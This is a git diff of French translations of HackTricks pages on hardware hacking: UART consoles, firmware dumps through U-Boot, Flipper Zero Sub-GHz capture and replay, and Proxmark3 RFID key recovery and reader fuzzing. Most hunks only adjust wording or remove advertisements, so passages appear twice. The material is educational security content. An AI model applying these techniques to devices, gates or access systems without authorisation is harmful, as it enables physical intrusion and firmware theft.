La puce CP210X est utilisée dans de nombreuses cartes de prototypage comme NodeMCU (avec esp8266) pour la communication série. Ces adaptateurs sont relativement peu coûteux et peuvent être utilisés pour se connecter à l'interface UART de la cible. L'appareil a 5 broches : 5V, GND, RXD, TXD, 3.3V. Assurez-vous de connecter la tension comme supportée par la cible pour éviter tout dommage. Enfin, connectez la broche RXD de l'adaptateur à TXD de la cible et la broche TXD de l'adaptateur à RXD de la cible.
|
La puce CP210X est utilisée dans de nombreuses cartes de prototypage comme NodeMCU (avec esp8266) pour la communication série. Ces adaptateurs sont relativement peu coûteux et peuvent être utilisés pour se connecter à l'interface UART de la cible. L'appareil a 5 broches : 5V, GND, RXD, TXD, 3.3V. Assurez-vous de connecter la tension comme supportée par la cible pour éviter tout dommage. Enfin, connectez la broche RXD de l'adaptateur au TXD de la cible et la broche TXD de l'adaptateur au RXD de la cible.
|
||||||
|
|
||||||
Dans le cas où l'adaptateur n'est pas détecté, assurez-vous que les pilotes CP210X sont installés sur le système hôte. Une fois l'adaptateur détecté et connecté, des outils comme picocom, minicom ou screen peuvent être utilisés.
|
Dans le cas où l'adaptateur n'est pas détecté, assurez-vous que les pilotes CP210X sont installés sur le système hôte. Une fois l'adaptateur détecté et connecté, des outils comme picocom, minicom ou screen peuvent être utilisés.
|
||||||
|
|
||||||
|
@ -86,7 +73,7 @@ Pour minicom, utilisez la commande suivante pour le configurer :
|
||||||
```
|
```
|
||||||
minicom -s
|
minicom -s
|
||||||
```
|
```
|
||||||
Configurez les paramètres tels que le baudrate et le nom de l'appareil dans l'option `Serial port setup`.
|
Configurez les paramètres tels que le baudrate et le nom de l'appareil dans l'option `Configuration du port série`.
|
||||||
|
|
||||||
Après la configuration, utilisez la commande `minicom` pour démarrer la console UART.
|
Après la configuration, utilisez la commande `minicom` pour démarrer la console UART.
|
||||||
|
|
||||||
|
@ -94,13 +81,13 @@ Après la configuration, utilisez la commande `minicom` pour démarrer la consol
|
||||||
|
|
||||||
Dans le cas où des adaptateurs UART Serial vers USB ne sont pas disponibles, l'Arduino UNO R3 peut être utilisé avec un hack rapide. Étant donné que l'Arduino UNO R3 est généralement disponible partout, cela peut faire gagner beaucoup de temps.
|
Dans le cas où des adaptateurs UART Serial vers USB ne sont pas disponibles, l'Arduino UNO R3 peut être utilisé avec un hack rapide. Étant donné que l'Arduino UNO R3 est généralement disponible partout, cela peut faire gagner beaucoup de temps.
|
||||||
|
|
||||||
L'Arduino UNO R3 dispose d'un adaptateur USB vers Serial intégré sur la carte elle-même. Pour obtenir une connexion UART, il suffit de retirer la puce microcontrôleur Atmel 328p de la carte. Ce hack fonctionne sur les variantes d'Arduino UNO R3 ayant l'Atmel 328p non soudé sur la carte (la version SMD est utilisée). Connectez la broche RX de l'Arduino (broche numérique 0) à la broche TX de l'interface UART et la broche TX de l'Arduino (broche numérique 1) à la broche RX de l'interface UART.
|
L'Arduino UNO R3 dispose d'un adaptateur USB vers série intégré sur la carte elle-même. Pour obtenir une connexion UART, il suffit de retirer la puce microcontrôleur Atmel 328p de la carte. Ce hack fonctionne sur les variantes de l'Arduino UNO R3 ayant l'Atmel 328p non soudé sur la carte (la version SMD est utilisée). Connectez la broche RX de l'Arduino (broche numérique 0) à la broche TX de l'interface UART et la broche TX de l'Arduino (broche numérique 1) à la broche RX de l'interface UART.
|
||||||
|
|
||||||
Enfin, il est recommandé d'utiliser l'IDE Arduino pour obtenir la console série. Dans la section `tools` du menu, sélectionnez l'option `Serial Console` et définissez le baud rate selon l'interface UART.
|
Enfin, il est recommandé d'utiliser l'IDE Arduino pour obtenir la console série. Dans la section `outils` du menu, sélectionnez l'option `Console série` et définissez le baud rate selon l'interface UART.
|
||||||
|
|
||||||
## Bus Pirate
|
## Bus Pirate
|
||||||
|
|
||||||
Dans ce scénario, nous allons intercepter la communication UART de l'Arduino qui envoie tous les affichages du programme au Moniteur Série.
|
Dans ce scénario, nous allons intercepter la communication UART de l'Arduino qui envoie toutes les impressions du programme au Moniteur Série.
|
||||||
```bash
|
```bash
|
||||||
# Check the modes
|
# Check the modes
|
||||||
UART>m
|
UART>m
|
||||||
|
@ -176,7 +163,7 @@ waiting a few secs to repeat....
|
||||||
|
|
||||||
Le console UART offre un excellent moyen de travailler avec le firmware sous-jacent dans un environnement d'exécution. Mais lorsque l'accès à la console UART est en lecture seule, cela peut introduire de nombreuses contraintes. Dans de nombreux dispositifs embarqués, le firmware est stocké dans des EEPROM et exécuté dans des processeurs qui ont une mémoire volatile. Par conséquent, le firmware est maintenu en lecture seule puisque le firmware original lors de la fabrication est à l'intérieur de l'EEPROM lui-même et tout nouveau fichier serait perdu en raison de la mémoire volatile. Ainsi, le dumping du firmware est un effort précieux lors du travail avec des firmwares embarqués.
|
Le console UART offre un excellent moyen de travailler avec le firmware sous-jacent dans un environnement d'exécution. Mais lorsque l'accès à la console UART est en lecture seule, cela peut introduire de nombreuses contraintes. Dans de nombreux dispositifs embarqués, le firmware est stocké dans des EEPROM et exécuté dans des processeurs qui ont une mémoire volatile. Par conséquent, le firmware est maintenu en lecture seule puisque le firmware original lors de la fabrication est à l'intérieur de l'EEPROM lui-même et tout nouveau fichier serait perdu en raison de la mémoire volatile. Ainsi, le dumping du firmware est un effort précieux lors du travail avec des firmwares embarqués.
|
||||||
|
|
||||||
Il existe de nombreuses façons de le faire et la section SPI couvre des méthodes pour extraire le firmware directement de l'EEPROM avec divers dispositifs. Bien qu'il soit recommandé d'essayer d'abord de dumper le firmware avec UART, car le dumping du firmware avec des dispositifs physiques et des interactions externes peut être risqué.
|
Il existe de nombreuses façons de le faire et la section SPI couvre les méthodes pour extraire le firmware directement de l'EEPROM avec divers dispositifs. Cependant, il est recommandé d'essayer d'abord de dumper le firmware avec UART, car le dumping du firmware avec des dispositifs physiques et des interactions externes peut être risqué.
|
||||||
|
|
||||||
Dumper le firmware depuis la console UART nécessite d'abord d'accéder aux bootloaders. De nombreux fournisseurs populaires utilisent uboot (Universal Bootloader) comme leur bootloader pour charger Linux. Par conséquent, obtenir l'accès à uboot est nécessaire.
|
Dumper le firmware depuis la console UART nécessite d'abord d'accéder aux bootloaders. De nombreux fournisseurs populaires utilisent uboot (Universal Bootloader) comme leur bootloader pour charger Linux. Par conséquent, obtenir l'accès à uboot est nécessaire.
|
||||||
|
|
||||||
|
@ -190,37 +177,25 @@ md
|
||||||
```
|
```
|
||||||
qui signifie "vidage de mémoire". Cela affichera le contenu de la mémoire (contenu EEPROM) à l'écran. Il est recommandé de consigner la sortie de la console série avant de commencer la procédure pour capturer le vidage de mémoire.
|
qui signifie "vidage de mémoire". Cela affichera le contenu de la mémoire (contenu EEPROM) à l'écran. Il est recommandé de consigner la sortie de la console série avant de commencer la procédure pour capturer le vidage de mémoire.
|
||||||
|
|
||||||
Enfin, il suffit de supprimer toutes les données inutiles du fichier journal et de stocker le fichier sous le nom `filename.rom` et d'utiliser binwalk pour extraire le contenu :
|
Enfin, il suffit de supprimer toutes les données inutiles du fichier journal et de stocker le fichier sous `filename.rom` et d'utiliser binwalk pour extraire le contenu :
|
||||||
```
|
```
|
||||||
binwalk -e <filename.rom>
|
binwalk -e <filename.rom>
|
||||||
```
|
```
|
||||||
Cela listera les contenus possibles de l'EEPROM selon les signatures trouvées dans le fichier hexadécimal.
|
Cela listera les contenus possibles de l'EEPROM selon les signatures trouvées dans le fichier hexadécimal.
|
||||||
|
|
||||||
Cependant, il est nécessaire de noter qu'il n'est pas toujours vrai que le uboot est déverrouillé même s'il est utilisé. Si la touche Entrée ne fait rien, vérifiez d'autres touches comme la touche Espace, etc. Si le bootloader est verrouillé et ne s'interrompt pas, cette méthode ne fonctionnera pas. Pour vérifier si uboot est le bootloader de l'appareil, vérifiez la sortie sur la console UART pendant le démarrage de l'appareil. Il pourrait mentionner uboot pendant le démarrage.
|
Cependant, il est nécessaire de noter qu'il n'est pas toujours vrai que le uboot est déverrouillé même s'il est utilisé. Si la touche Entrée ne fait rien, vérifiez d'autres touches comme la touche Espace, etc. Si le bootloader est verrouillé et n'est pas interrompu, cette méthode ne fonctionnera pas. Pour vérifier si uboot est le bootloader de l'appareil, vérifiez la sortie sur la console UART pendant le démarrage de l'appareil. Il pourrait mentionner uboot pendant le démarrage.
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,20 +15,12 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
Avec [**Flipper Zero**](https://flipperzero.one/) vous pouvez :
|
Avec [**Flipper Zero**](https://flipperzero.one/) vous pouvez :
|
||||||
|
|
||||||
* **Écouter/Capturer/Rejouer des fréquences radio :** [**Sub-GHz**](fz-sub-ghz.md)
|
* **Écouter/Capturer/Rejouer des fréquences radio :** [**Sub-GHz**](fz-sub-ghz.md)
|
||||||
* **Lire/Capturer/Émuler des cartes NFC :** [**NFC**](fz-nfc.md)
|
* **Lire/Capturer/Émuler des cartes NFC :** [**NFC**](fz-nfc.md)
|
||||||
* **Lire/Capturer/Émuler des étiquettes 125kHz :** [**125kHz RFID**](fz-125khz-rfid.md)
|
* **Lire/Capturer/Émuler des tags 125kHz :** [**125kHz RFID**](fz-125khz-rfid.md)
|
||||||
* **Lire/Capturer/Envoyer des signaux infrarouges :** [**Infrared**](fz-infrared.md)
|
* **Lire/Capturer/Envoyer des signaux infrarouges :** [**Infrarouge**](fz-infrared.md)
|
||||||
* **Lire/Capturer/Émuler des iButtons :** [**iButton**](../ibutton.md)
|
* **Lire/Capturer/Émuler des iButtons :** [**iButton**](../ibutton.md)
|
||||||
* **L'utiliser comme Bad USB**
|
* **L'utiliser comme Bad USB**
|
||||||
* **L'utiliser comme clé de sécurité (U2F)**
|
* **L'utiliser comme clé de sécurité (U2F)**
|
||||||
|
@ -36,12 +28,6 @@ Avec [**Flipper Zero**](https://flipperzero.one/) vous pouvez :
|
||||||
|
|
||||||
**Autres ressources Flipper Zero sur** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
**Autres ressources Flipper Zero sur** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -9,23 +9,16 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Intro <a href="#kfpn7" id="kfpn7"></a>
|
## Intro <a href="#kfpn7" id="kfpn7"></a>
|
||||||
|
|
||||||
Flipper Zero peut **recevoir et transmettre des fréquences radio dans la plage de 300-928 MHz** avec son module intégré, qui peut lire, enregistrer et émuler des télécommandes. Ces télécommandes sont utilisées pour interagir avec des portails, des barrières, des serrures radio, des interrupteurs télécommandés, des sonnettes sans fil, des lumières intelligentes, et plus encore. Flipper Zero peut vous aider à apprendre si votre sécurité est compromise.
|
Flipper Zero peut **recevoir et transmettre des fréquences radio dans la plage de 300-928 MHz** avec son module intégré, qui peut lire, enregistrer et émuler des télécommandes. Ces télécommandes sont utilisées pour interagir avec des portails, des barrières, des serrures radio, des interrupteurs à distance, des sonnettes sans fil, des lumières intelligentes, et plus encore. Flipper Zero peut vous aider à apprendre si votre sécurité est compromise.
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -58,17 +51,17 @@ Pour déterminer la fréquence de la télécommande, procédez comme suit :
|
||||||
Trouvez des informations sur la fréquence utilisée (aussi une autre façon de trouver quelle fréquence est utilisée)
|
Trouvez des informations sur la fréquence utilisée (aussi une autre façon de trouver quelle fréquence est utilisée)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
L'option **Lire** **écoute la fréquence configurée** sur la modulation indiquée : 433.92 AM par défaut. Si **quelque chose est trouvé** lors de la lecture, **des informations sont données** à l'écran. Ces informations pourraient être utilisées pour reproduire le signal à l'avenir.
|
L'option **Lire** **écoute sur la fréquence configurée** sur la modulation indiquée : 433.92 AM par défaut. Si **quelque chose est trouvé** lors de la lecture, **des informations sont données** à l'écran. Ces informations peuvent être utilisées pour reproduire le signal à l'avenir.
|
||||||
|
|
||||||
Pendant que Lire est en cours d'utilisation, il est possible d'appuyer sur le **bouton gauche** et **de le configurer**.\
|
Pendant que Lire est en cours d'utilisation, il est possible d'appuyer sur le **bouton gauche** et **de le configurer**.\
|
||||||
À ce moment, il a **4 modulations** (AM270, AM650, FM328 et FM476), et **plusieurs fréquences pertinentes** stockées :
|
À ce moment, il a **4 modulations** (AM270, AM650, FM328 et FM476), et **plusieurs fréquences pertinentes** stockées :
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (947).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (947).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Vous pouvez définir **n'importe quelle qui vous intéresse**, cependant, si vous **n'êtes pas sûr de la fréquence** qui pourrait être celle utilisée par la télécommande que vous avez, **activez le Hopping** (désactivé par défaut), et appuyez sur le bouton plusieurs fois jusqu'à ce que Flipper la capture et vous donne les informations dont vous avez besoin pour définir la fréquence.
|
Vous pouvez définir **n'importe laquelle qui vous intéresse**, cependant, si vous **n'êtes pas sûr de la fréquence** qui pourrait être celle utilisée par la télécommande que vous avez, **activez le Hopping** (désactivé par défaut), et appuyez sur le bouton plusieurs fois jusqu'à ce que Flipper la capture et vous donne les informations dont vous avez besoin pour définir la fréquence.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Le changement entre les fréquences prend un certain temps, donc les signaux transmis au moment du changement peuvent être manqués. Pour une meilleure réception du signal, définissez une fréquence fixe déterminée par l'Analyseur de Fréquence.
|
Le changement entre les fréquences prend du temps, donc les signaux transmis au moment du changement peuvent être manqués. Pour une meilleure réception du signal, définissez une fréquence fixe déterminée par l'Analyseur de Fréquence.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **Lire Brut**
|
### **Lire Brut**
|
||||||
|
@ -88,7 +81,7 @@ Si vous connaissez le protocole utilisé par exemple par la porte de garage, il
|
||||||
### Ajouter Manuellement
|
### Ajouter Manuellement
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Ajouter des signaux à partir d'une liste configurée de protocoles
|
Ajouter des signaux à partir d'une liste de protocoles configurés
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### Liste des [protocoles pris en charge](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
|
#### Liste des [protocoles pris en charge](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
|
||||||
|
@ -128,12 +121,6 @@ Obtenez des dBms des fréquences enregistrées
|
||||||
|
|
||||||
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -143,7 +130,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Attaquer les systèmes RFID avec Proxmark3
|
## Attaquer les systèmes RFID avec Proxmark3
|
||||||
|
|
||||||
La première chose que vous devez faire est d'avoir un [**Proxmark3**](https://proxmark.com) et [**d'installer le logiciel et ses dépendances**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
La première chose que vous devez faire est d'avoir un [**Proxmark3**](https://proxmark.com) et [**d'installer le logiciel et ses dépendances**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||||
|
@ -76,23 +68,16 @@ proxmark3> script run mfkeys
|
||||||
```
|
```
|
||||||
Vous pouvez créer un script pour **fuzz tag readers**, donc en copiant les données d'une **carte valide**, il suffit d'écrire un **script Lua** qui **randomise** un ou plusieurs **octets** aléatoires et vérifie si le **lecteur plante** avec une itération quelconque.
|
Vous pouvez créer un script pour **fuzz tag readers**, donc en copiant les données d'une **carte valide**, il suffit d'écrire un **script Lua** qui **randomise** un ou plusieurs **octets** aléatoires et vérifie si le **lecteur plante** avec une itération quelconque.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Supportez HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,44 +9,36 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
